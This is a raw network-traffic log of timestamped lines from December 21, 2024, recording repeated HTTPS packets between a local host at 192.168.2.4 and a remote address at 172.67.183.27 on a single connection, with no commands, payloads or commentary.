Dec 21, 2024 20:13:53.441201925 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.441282988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.447499990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.447559118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.447599888 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.447606087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.447639942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.447701931 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.454154968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.454196930 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.454233885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.454240084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.454266071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.454319954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.474678040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.474745989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.474790096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.474798918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.474823952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.474867105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.480103970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.480165005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.480202913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.480207920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.480231047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.480273008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.485873938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.485915899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.485961914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.485961914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.485969067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.486041069 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.492824078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.492871046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.492908955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.492913961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.492939949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.492986917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.628561020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.628618956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.628667116 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.628694057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.628712893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.629117966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.633709908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.633754015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.633788109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.633796930 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.633819103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.633847952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.639589071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.639635086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.639668941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.639674902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.639704943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.639982939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.646133900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.646184921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.646260977 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.646260977 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.646270990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.649595976 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.669269085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.669297934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.669364929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.669365883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.669375896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.669469118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.672163963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.672243118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.672285080 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.672291040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.672313929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.673728943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.678503990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.678555012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.678595066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.678601027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.678626060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.681371927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.685007095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.685050964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.685089111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.685095072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.685142994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.685142994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.820830107 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.820897102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.820998907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.820998907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.821027994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.821842909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.826427937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.826495886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.826538086 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.826546907 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.826574087 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.829303026 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.832417965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.832462072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.832504034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.832510948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.832537889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.833570004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.839077950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.839123964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.839220047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.839220047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.839231014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.841408968 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.859427929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.859493017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.859534025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.859553099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.859580040 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.860069990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.864501953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.864577055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.864617109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.864624023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.864649057 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.864907980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.871027946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.871089935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.871130943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.871139050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.871167898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.871221066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.877445936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.877487898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.877526999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.877535105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:53.877561092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:53.880253077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.013437033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.013504028 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.013550997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.013571024 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.013591051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.013605118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.018970966 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.019037008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.019066095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.019073963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.019121885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.026077032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.026119947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.026169062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.026180983 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.026195049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.026235104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.031578064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.031625986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.031668901 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.031677961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.031713963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.031724930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.051533937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.051594019 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.051604033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.051620007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.051642895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.051657915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.056648970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.056710005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.056747913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.056757927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.056770086 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.056791067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.063955069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.063998938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.064027071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.064038038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.064064980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.064079046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.069541931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.069582939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.069626093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.069633007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.069664001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.069684029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.205591917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.205661058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.205687046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.205703974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.205722094 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.205749035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.211394072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.211467028 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.211467981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.211500883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.211523056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.211549997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.217134953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.217179060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.217197895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.217210054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.217232943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.217250109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.223587990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.223634958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.223661900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.223675013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.223704100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.223720074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.243818998 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.243887901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.243894100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.243920088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.243952990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.243973017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.249578953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.249639988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.249659061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.249669075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.249696970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.249715090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.256093025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.256134987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.256164074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.256177902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.256200075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.256223917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.262279034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.262325048 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.262345076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.262353897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.262386084 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.262404919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.398152113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.398219109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.398252010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.398279905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.398293972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.398317099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.403789043 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.403846025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.403868914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.403882027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.403903961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.403920889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.409908056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.409953117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.409984112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.410000086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.410023928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.410041094 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.415865898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.415927887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.415936947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.415958881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.415983915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.415998936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.436428070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.436492920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.436510086 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.436526060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.436562061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.436583996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.441674948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.441745996 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.441766024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.441782951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.441802025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.441819906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.448081017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.448137045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.448159933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.448170900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.448191881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.448213100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.454364061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.454406023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.454432964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.454443932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.454473019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.454492092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.592135906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.592206001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.592226028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.592241049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.592263937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.592276096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.598237991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.598298073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.598306894 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.598331928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.598356009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.598377943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.604551077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.604595900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.604607105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.604619026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.604646921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.604659081 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.610903025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.610946894 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.610958099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.610971928 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.611001968 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.611022949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.628514051 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.628576994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.628587961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.628609896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.628628016 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.628658056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.634036064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.634104967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.634124994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.634135962 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.634165049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.634186029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.640435934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.640479088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.640506983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.640516996 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.640537024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.640548944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.646852970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.646895885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.646919966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.646930933 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.646964073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.646975994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.782654047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.782716990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.782732010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.782757044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.782779932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.782795906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.788321018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.788403988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.788408995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.788439989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.788461924 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.788490057 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.794089079 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.794140100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.794162989 CET	49737	443	192.168.2.4	172.67.183.27
